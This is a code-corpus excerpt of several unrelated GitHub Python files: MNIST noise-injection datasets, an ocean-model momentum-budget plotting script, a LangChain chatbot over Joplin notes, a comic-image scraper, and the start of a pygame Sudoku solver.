"usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 216, "usage_type": "call"}, {"api_name": "myo.init", "line_number": 227, "usage_type": "call"}, {"api_name": "myo.Hub", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 236, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}]}
{"seq_id": "74604799270", "text": "\"\"\"\nWe start with mnist, then do something else\n\"\"\"\nimport numpy as np\nimport torch.optim\n\nimport torch\nimport torchvision.datasets as datasets\nimport pandas as pd\nimport sklearn.decomposition\nimport sklearn.metrics\n\nfrom pathlib import Path\nimport torch\nimport torchvision\n\nimport torchvision.datasets as datasets\n\n\nclass MNISTRandomLabels(datasets.MNIST):\n  def __init__(self, corrupt_prob=0.0, num_classes=10, shfld_pxls=False , rnd_pxls=False, gaussian=False, **kwargs):\n    super(MNISTRandomLabels, self).__init__(**kwargs)\n    self.n_classes = num_classes\n    \n    if corrupt_prob > 0:\n      print(\"Introducing Noise: Corrupting labels ...\")\n      self.corrupt_labels(corrupt_prob)\n    elif shfld_pxls:\n      print(\"Introducing Noise: Shuffling pixels\")\n      self.shuffled_pixels()\n    elif rnd_pxls:\n      print(\"Introducing Noise: Randomizing pixels\")\n      self.random_pixels()\n    elif gaussian:\n      print(\"Introducing Noise: Generating pixels from a Gaussian distribution\")\n      self.gaussian()\n\n  def corrupt_labels(self, corrupt_prob):\n    \"\"\"\n    Labels are corrupted with a corrput_probability\n    :param corrupt_prob:\n    :return:\n    \"\"\"\n    np.random.seed(12345)\n    labels = np.array(self.targets)\n    mask = np.random.rand(len(labels)) <= corrupt_prob/100.\n    rnd_labels = np.random.choice(self.n_classes, mask.sum())\n    labels[mask] = rnd_labels\n    # we need to explicitly cast the labels from npy.int64 to\n    # builtin int type, otherwise pytorch will fail...\n    labels = [int(x) for x in labels]\n    self.targets = labels\n\n  def shuffled_pixels(self):\n    \"\"\"\n    All images are permuted using the same permutation\n    :return:\n    \"\"\"\n    np.random.seed(12345)\n    images = np.array(self.data)\n    data = np.swapaxes(np.reshape(images, (images.shape[0], -1, images.shape[-1])), 0, 1)\n    np.random.shuffle(data)\n    self.data = np.reshape(np.swapaxes(data, 0, 1), images.shape)\n\n\n  def random_pixels(self):\n    \"\"\"\n    Each image is permuted using a different permutation matrix\n    :return:\n    \"\"\"\n    np.random.seed(12345) # sets the seed for the ensemble of permutations\n    images = np.array(self.data)\n    for i, img in enumerate(images):\n      rndpxls = np.reshape(img, (-1, img.shape[2])).copy()\n      np.random.shuffle(rndpxls)\n      images[i] = np.reshape(rndpxls, img.shape)\n    self.data = images\n\n  def gaussian(self):\n    \"\"\"\n    Each pixel in the data is ind. sampled from a Gaussian dist. with mean and variance matching the original dataset's\n    :return:\n    \"\"\"\n    np.random.seed(12345) # sets the seed for the ensemble of generated pixels\n    images = self.data\n    print(images.shape)\n    mean = np.mean(images, axis=(0,1,2))\n    std = np.std(images, axis=(0,1,2))\n    data = np.clip(np.random.multivariate_normal(mean=mean, cov=np.diag(std), size=images.shape[:-1]), 0, 255).astype(np.uint8)     # we need to explicitly cast the data as int otherwise pytorch will fail\n    self.data = data\n\n\n\n\ndef transform_truncated(pca, X, n_components):\n    X = pca._validate_data(X, dtype=[np.float64, np.float32], reset=False)\n    if pca.mean_ is not None:\n        X = X - pca.mean_\n    X_transformed = np.dot(X, pca.components_[:n_components, :].T)\n    #start = np.random.choice(range(0,len(pca.components_)-n_components))\n    #X_transformed = np.dot(X, pca.components_[start:start+n_components, :].T)\n    if pca.whiten:\n        X_transformed /= np.sqrt(pca.explained_variance_)\n    return X_transformed\n\n\ndef inv_transform(pca, X, n_components):\n    return np.dot(X, pca.components_[:n_components, :]) + pca.mean_\n\n\ndef inv_forward_transform(pca, X, n_components):\n    return inv_transform(\n        pca, transform_truncated(pca, X, n_components), n_components\n    )\n\n\ndef get_pca_transformed_fmnist(n_components, train=True):\n\n  transform = torchvision.transforms.Compose([torchvision.transforms.ToTensor()])\n  data = torchvision.datasets.FashionMNIST(Path() / \"data\", train=train, download=True, transform=transform)\n  dataloader = torch.utils.data.DataLoader(dataset=data, batch_size=len(data))\n  images_all, _ = next(iter(dataloader))\n  # convert to 1D\n  images_flat = images_all.reshape(images_all.shape[0], -1)\n\n  pca = sklearn.decomposition.PCA(n_components=784)\n  images_flat_hat = pca.inverse_transform(pca.fit_transform(images_flat))\n  images_hat = inv_forward_transform(pca, X=images_flat, n_components=n_components).reshape(-1,28,28)\n\n  return images_hat\n\ndef normalize_img(x):\n    \"\"\"\n    Over all three channels; there should be numpy way\n    :param x:\n    :return:\n    \"\"\"\n    if len(x.shape) == 2:\n        try:\n            x=x.numpy()\n        except:\n            pass\n        x = (x - np.amin(x)) / (np.amax(x) - np.amin(x))\n    elif len(x.shape) ==3:\n        for i in range(3):\n            x[...,i] = (x[...,i] - np.amin(x[...,i])) / (np.amax(x[...,i]) - np.amin(x[...,i]))\n    return (255*x).astype(np.uint8)\n\n\n\ndef normalize_dataset(data):\n    data_norm = np.array([normalize_img(data[i]) for i in range(len(data))])\n    return data_norm\n\n\nclass MNISTDatasetNoise(datasets.MNIST):\n    \"\"\"CIFAR10 dataset, with support for random labels and pixels\n\n    Params\n    ------\n    corrupt_prob: float\n      Default 0.0. The probability of a label being replaced with\n      random label.\n    num_classes: int\n      Default 10. The number of classes in the dataset.\n    \"\"\"\n\n    def __init__(self, n_components=0, num_classes=10, **kwargs):\n        super(MNISTDatasetNoise, self).__init__(**kwargs)\n        self.n_classes = num_classes\n        self.n_components = n_components\n        self.train = kwargs['train']\n        if n_components > 0:\n            print(\"Adding dataset noise ...\")\n            self.add_fmnist(n_components)\n\n    def add_fmnist(self, n_components):\n        fmnist = get_pca_transformed_fmnist(self.n_components, self.train)\n        norm_fmnist = normalize_dataset(fmnist)\n        d = np.mean([norm_fmnist, normalize_dataset(self.data.numpy())], axis=0).astype(np.uint8)\n        self.data = torch.from_numpy(d)\n", "repo_name": "brandao-eduardo/ismynndrivenbymdl", "sub_path": "mnist_like_data.py", "file_name": "mnist_like_data.py", "file_ext": "py", "file_size_in_byte": 5989, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torchvision.datasets.MNIST", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torchvision.datasets", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.reshape", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.diag", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 108, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 119, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 119, "usage_type": "call"}, {"api_name": "torchvision.datasets.FashionMNIST", "line_number": 120, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 121, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition.decomposition.PCA", "line_number": 126, "usage_type": "call"}, {"api_name": "sklearn.decomposition.decomposition", "line_number": 126, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition", "line_number": 126, "usage_type": "name"}, {"api_name": "numpy.amin", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 147, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 152, "usage_type": "call"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 156, "usage_type": "attribute"}, {"api_name": "torchvision.datasets", "line_number": 156, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 180, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 181, "usage_type": "call"}]}
{"seq_id": "72767766951", "text": "#!/usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nimport MITgcmutils as mit\n\n\nplt.ion()\n\nmatplotlib.rcParams['ps.useafm'] = True\nmatplotlib.rcParams['pdf.use14corefonts'] = True\nmatplotlib.rcParams['text.usetex'] = True\n\n\ndir0 = '../run/'\n\nfile1 = 'diagU*'\nfile2 = 'diagV*'\nfile3 = 'diagKEU*'\nfile4 = 'diagKEV*'\nfile5 = 'diagKEs*'\n\nflag_uv = 5 # 1: u , 2: v, 3:KEu, 4:KEv, 5:KEE\nflag_grid = 1\n\n#%==================== LOAD FIELDS ===================================\n\n# load grid\nif flag_grid:\n  XC    = mit.rdmds(dir0+'XC*')\n  YC    = mit.rdmds(dir0+'YC*')\n  XG    = mit.rdmds(dir0+'XG*')\n  YG    = mit.rdmds(dir0+'YG*')\n  DXC   = mit.rdmds(dir0+'DXC*')\n  DYC   = mit.rdmds(dir0+'DYC*')\n  hFacC = mit.rdmds(dir0+'hFacC*')\n  hFacS = mit.rdmds(dir0+'hFacS*')\n  hFacW = mit.rdmds(dir0+'hFacW*')\n  RAS   = mit.rdmds(dir0+'RAS*')\n  RAW   = mit.rdmds(dir0+'RAW*')\n  RAC   = mit.rdmds(dir0+'RAC*')\n  RAZ   = mit.rdmds(dir0+'RAZ*')\n  RC    = mit.rdmds(dir0+'RC*')\n  RF    = mit.rdmds(dir0+'RF*')\n  DRC   = mit.rdmds(dir0+'DRC*')\n  DRF   = mit.rdmds(dir0+'DRF*')\n  Depth = mit.rdmds(dir0+'Depth*')\n\n\nif flag_uv == 1:\n  filer = file1\nelif flag_uv == 2:\n  filer = file2\nelif flag_uv == 3:\n  filer = file3\nelif flag_uv == 4:\n  filer = file4\nelif flag_uv == 5:\n  filer = file5\n\ni = 4\niters1 = mit.mds.scanforfiles(dir0 + filer)\n\nutot   = mit.rdmds(dir0 + filer,iters1[i],rec=0)\nuadv   = mit.rdmds(dir0 + filer,iters1[i],rec=1)\nupress = mit.rdmds(dir0 + filer,iters1[i],rec=2)\nu_eta  = mit.rdmds(dir0 + filer,iters1[i],rec=3)\nudissh = mit.rdmds(dir0 + filer,iters1[i],rec=4)\nudissv = mit.rdmds(dir0 + filer,iters1[i],rec=5)\nuext   = mit.rdmds(dir0 + filer,iters1[i],rec=6)\nu_ab   = mit.rdmds(dir0 + filer,iters1[i],rec=7)\n\nutot = utot/86400\n\nsi_z,si_y,si_x = utot.shape\nix = np.int(si_x/2)\n\n\ndef yzplot(psi,*args, **kwargs):\n  \n  vmax = np.max(np.abs((psi)))\n  vmax = kwargs.get('vmax', vmax)\n  vmin = -vmax\n  psi = np.where(psivmax,vmax,psi)\n  \n  title = kwargs.get('title',None)\n\n  fgrid = kwargs.get('fgrid', 0)\n\n  if fgrid:\n    xx = YC[:,ix]*1e-3\n    yy = RC[:,0,0]\n  else:\n    si_y,si_x = psi.shape\n    xx = np.arange(si_x)\n    yy = np.arange(si_y)\n    \n  plt.figure()\n  plt.contourf(xx,yy,psi,100,cmap=plt.cm.seismic,vmin=vmin,vmax=vmax,extend='both')\n  plt.colorbar(format='%.0e')\n  plt.title(title)\n  if fgrid:\n    plt.xlabel('x (km)')\n    plt.ylabel('z (m)')\n\npsi = utot[:,:,ix]\nyzplot(psi,title=r\"tottend (m\\,s$^{-2}$)\",fgrid=flag_grid,vmax=1e-6)\n\npsi = uadv + upress + udissv + udissh + u_eta + u_ab + uext\npsi = psi[:,:,ix]\nyzplot(psi,title=r\"sum (m\\,s$^{-2}$)\",fgrid=flag_grid,vmax=1e-6)\n\nerror = np.abs(uadv) + np.abs(upress) + np.abs(udissv) + np.abs(udissh) + np.abs(u_eta) + np.abs(u_ab) + np.abs(uext)\nerror2 = error[:,:,ix]/np.abs(utot[:,:,ix])\n\npsi3 = (psi - utot[:,:,ix])/utot[:,:,ix]/error2\nyzplot(psi3,title=r\"relative error (m\\,s$^{-2}$)\",fgrid=flag_grid,vmax=1e-7)\n\n\n", "repo_name": "bderembl/mitgcm_configs", "sub_path": "eddy_airsea/analysis/momentum_budget.py", "file_name": "momentum_budget.py", "file_ext": "py", "file_size_in_byte": 2957, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.ion", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.rcParams", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 13, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 14, "usage_type": "attribute"}, {"api_name": "MITgcmutils.rdmds", "line_number": 32, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 33, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 34, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 35, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 36, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 37, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 38, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 39, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 40, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 41, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 42, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 43, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 44, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 45, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 46, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 47, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 48, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 49, "usage_type": "call"}, {"api_name": "MITgcmutils.mds.scanforfiles", "line_number": 64, "usage_type": "call"}, {"api_name": "MITgcmutils.mds", "line_number": 64, "usage_type": "attribute"}, {"api_name": "MITgcmutils.rdmds", "line_number": 66, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 67, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 68, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 69, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 70, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 71, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 72, "usage_type": "call"}, {"api_name": "MITgcmutils.rdmds", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 102, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 117, "usage_type": "call"}]}
{"seq_id": "20085774600", "text": "\"\"\"\r\nCreate a CHATGPT chatbot that can perform Q&A over Joplin notes.\r\nCreated on Jun 2023\r\n\r\n@author: Dina Berenbaum\r\n\"\"\"\r\n\r\nimport os\r\nimport glob\r\n\r\nimport weaviate\r\n\r\nfrom langchain.document_loaders import UnstructuredMarkdownLoader\r\nfrom langchain.embeddings import OpenAIEmbeddings\r\nfrom langchain.indexes import VectorstoreIndexCreator\r\nfrom langchain.indexes.vectorstore import VectorStoreIndexWrapper\r\nfrom langchain.llms import AzureOpenAI\r\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\r\nfrom langchain.vectorstores import Weaviate\r\n\r\n\r\nclass JoplinChatbot:\r\n    def __init__(self, sandbox_url, index_name='Joplin_test',\r\n                 embedder=OpenAIEmbeddings,\r\n                 splitter=RecursiveCharacterTextSplitter,\r\n                 vectorstore=Weaviate, **kwargs):\r\n        \"\"\"\r\n        Initializer for the JoplinChatbot class. Vectorestore and Embedder are needed both for adding new files to the\r\n        datastore and also for the queries. The splitter is only needed for adding new files to the datastore.\r\n\r\n        :param sandbox_url: URL for the sandbox.\r\n        :param index_name: Index name for the chatbot.\r\n        :param embedder: Class for the embedder (defaults to OpenAIEmbeddings).\r\n        :param splitter: Class for the splitter (defaults to RecursiveCharacterTextSplitter).\r\n        :param vectorstore: Class for the vectorstore (defaults to Weaviate).\r\n        :param splitter_args: Additional arguments for the splitter class (optional).\r\n        :param embedder_args: Additional arguments for the embedder class (optional).\r\n        :param chain_type: Type of chain to use (defaults to \"stuff\").\r\n        \"\"\"\r\n        self._index_name = index_name\r\n        self._client = weaviate.Client(sandbox_url)\r\n\r\n        # Chosen classes\r\n        self._embedder_class = embedder\r\n        self._splitter_class = splitter\r\n        self._vectorstore_class = vectorstore\r\n\r\n        # Initialize the modules\r\n        self._embedding = self._get_embedding(kwargs.get(\"embedder_params\", {}))\r\n        self._vectorstore = self._get_vectorstore(kwargs.get(\"vectorstore_params\", {}))\r\n        self.db = VectorStoreIndexWrapper(vectorstore=self._vectorstore)\r\n\r\n        self.chain_type = kwargs.get(\"chain_type\", \"stuff\")  # 4 types of chains: stuff, map_reduce, refine, map_rerank\r\n\r\n    def _read_markdown_files(self, path_to_dir):\r\n        \"\"\"\r\n        Reads markdown files from a directory.\r\n\r\n        :param path_to_dir: The directory to read markdown files from.\r\n        :return: List of loaded markdown files.\r\n        \"\"\"\r\n        markdown_files = glob.glob(os.path.join(path_to_dir, \"*.md\"))\r\n        return [UnstructuredMarkdownLoader(f).load()[0] for f in markdown_files]\r\n\r\n    def _get_splitter(self, splitter_args):\r\n        \"\"\"\r\n        Returns a splitter instance.\r\n\r\n        :param splitter_args: Arguments for the splitter class.\r\n        :return: An instance of a splitter.\r\n        \"\"\"\r\n        return self._splitter_class(**splitter_args)\r\n\r\n    def _get_embedding(self, embedder_args):\r\n        \"\"\"\r\n        Returns an embedder instance.\r\n\r\n        :param embedder_args: Arguments for the embedder class.\r\n        :return: An instance of an embedder.\r\n        \"\"\"\r\n        return self._embedder_class(**embedder_args)\r\n\r\n    def _get_vectorstore(self, vectorstore_args):\r\n        \"\"\"\r\n        Returns a vectorstore instance.\r\n\r\n        :return: An instance of a vectorstore.\r\n        \"\"\"\r\n        return self._vectorstore_class(self._client, index_name=self._index_name, text_key='text',\r\n                                       embedding=self._embedding,\r\n                                       by_text=False, **vectorstore_args)\r\n\r\n    def index_new_files(self, path_to_dir, splitter_args=None):\r\n        \"\"\"\r\n        Indexes new files.\r\n\r\n        :param path_to_dir: Directory containing the new files.\r\n        :param splitter_args: Additional arguments for the splitter (optional).\r\n        \"\"\"\r\n        documents = self._read_markdown_files(path_to_dir)\r\n        splitter = self._get_splitter(splitter_args if splitter_args else {})\r\n\r\n        # currently for the from_text method of Weaviate you need to pass the\r\n        # arguments outside of the initialized vectorestore, so it means you pass them twice :/\r\n        vectorstore_kwargs = {\"client\": self._client, \"index_name\": self._index_name}\r\n\r\n        self.db = VectorstoreIndexCreator(embedding=self._embedding, vectorstore_cls=self._vectorstore_class,\r\n                                          text_splitter=splitter, vectorstore_kwargs=vectorstore_kwargs).from_documents(\r\n            documents)\r\n\r\n    def query(self, text):\r\n        \"\"\"\r\n        Queries the database.\r\n\r\n        :param text: The query text.\r\n        :return: The result of the query.\r\n        \"\"\"\r\n        deployment_name = os.environ.get('OPENAI_DEPLOYMENT')  # todo: make sure this deployment is really running\r\n        llm = AzureOpenAI(deployment_name=deployment_name)\r\n        return self.db.query(text, chain_type=self.chain_type, llm=llm)\r\n", "repo_name": "dinaber/qa-docs-langchain", "sub_path": "create_chatbot_over_joplin.py", "file_name": "create_chatbot_over_joplin.py", "file_ext": "py", "file_size_in_byte": 5050, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "langchain.embeddings.OpenAIEmbeddings", "line_number": 24, "usage_type": "name"}, {"api_name": "langchain.text_splitter.RecursiveCharacterTextSplitter", "line_number": 25, "usage_type": "name"}, {"api_name": "langchain.vectorstores.Weaviate", "line_number": 26, "usage_type": "name"}, {"api_name": "weaviate.Client", "line_number": 41, "usage_type": "call"}, {"api_name": "langchain.indexes.vectorstore.VectorStoreIndexWrapper", "line_number": 51, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "langchain.document_loaders.UnstructuredMarkdownLoader", "line_number": 63, "usage_type": "call"}, {"api_name": "langchain.indexes.VectorstoreIndexCreator", "line_number": 107, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 118, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 118, "usage_type": "attribute"}, {"api_name": "langchain.llms.AzureOpenAI", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "21931579875", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nimport requests\nimport os\n\n\n\nclass TukuspiderSpider(scrapy.Spider):\n    name = 'tukuspider'\n    allowed_domains = ['www.tuku.cc']\n    custom_settings = {\n        \"USER_AGENT\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\",\n    }\n    input = input('comic number:')\n    try:\n        start_urls = ['http://www.tuku.cc/comic/'+str(input)]\n    except IOError :\n        print('wrong comic number')\n\n\n    def parse(self, response):\n        list = response.css('div[id=\"chapterlistload\"]').css('a::attr(href)').extract()\n        urls = ['http://www.tuku.cc'+l for l in list]\n        #print(urls)\n        for url in urls:\n            #print(url)\n            yield scrapy.Request(url, meta={'chapter': url.split('/')[-2], 'page': 0}, callback=self.parse_chapter_contents)\n\n\n    def parse_chapter_contents(self, response):\n        print(response.url)\n\n        img_url = response.css('img[id=\"cp_image\"]::attr(src)').extract()[0]\n        page = response.meta['page']\n        chapter = 'qilongzhu/'+response.meta['chapter']\n        #print(next)\n        #print(img_url)\n        if not os.path.exists(chapter):\n            os.mkdir(chapter)\n\n        if requests.get(img_url).status_code == 200:\n            with open(os.path.join(chapter, str(page)+'.jpg'), 'wb') as imgf:\n                imgf.write(requests.get(img_url).content)\n            next = 'http://www.tuku.cc' + response.css('a[href*=\"/p\"]::attr(href)').extract()[-1]\n            yield scrapy.Request(next, meta={'chapter': response.meta['chapter'], 'page': page + 1},\n                                   callback=self.parse_chapter_contents)\n\n        else:\n            print('chapter download finished: ' + response.meta['chapter'])\n        #print('download finished ' + response.meta['title'])\n\n\n\n\n\n\n\n\n", "repo_name": "gabcga/tuku", "sub_path": "tuku/spiders/tukuspider.py", "file_name": "tukuspider.py", "file_ext": "py", "file_size_in_byte": 1844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "scrapy.Spider", "line_number": 8, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 39, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 43, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "73620162791", "text": "import pygame\nfrom Block import Block\nfrom settings import *\nfrom typing import Tuple\n\nclass Sudoku:\n\n    board = [\n        [7, 8, 0, 4, 0, 0, 1, 2, 0],\n        [6, 0, 0, 0, 7, 5, 0, 0, 9],\n        [0, 0, 0, 6, 0, 1, 0, 7, 8],\n        [0, 0, 7, 0, 4, 0, 2, 6, 0],\n        [0, 0, 1, 0, 5, 0, 9, 3, 0],\n        [9, 0, 4, 0, 6, 0, 0, 0, 5],\n        [0, 7, 0, 3, 0, 0, 0, 1, 2],\n        [1, 2, 0, 0, 0, 7, 4, 0, 0],\n        [0, 4, 9, 2, 0, 6, 0, 0, 7]\n    ]\n\n    def __init__(self):\n        self.width = WIDTH\n        self.height = HEIGHT\n        self.sudoku_width = SUDOKU_WIDTH\n        self.sudoku_height = SUDOKU_HEIGHT\n        self.x_delta = X_DELTA\n        self.y_delta = Y_DELTA\n        self.size = SIZE\n        self.grid = None\n        self.win = None\n        self.sudokuWin = None\n        self.clock = None\n        self.fps = FPS\n        self.selected = None\n        self.font = None\n\n    def display_init(self):\n\n        pygame.init()\n        pygame.font.init()\n\n        self.win = pygame.display.set_mode((self.width, self.height))\n        pygame.display.set_caption(\"Sudoku Solver\")\n        self.win.fill(BACKGROUND_COLOR)\n        \n\n        self.sudokuWin = self.win.subsurface((self.x_delta, self.y_delta, self.sudoku_width, self.sudoku_width))\n\n        self.clock = pygame.time.Clock()\n\n        self.font = pygame.font.SysFont(\"comicsansms\", 40)\n        self.title = self.font.render('Sudoku solver', 1, MID_BLACK)\n        w, h = self.title.get_size()\n\n        self.win.blit(self.title, ((self.width - w) // 2, (self.y_delta - 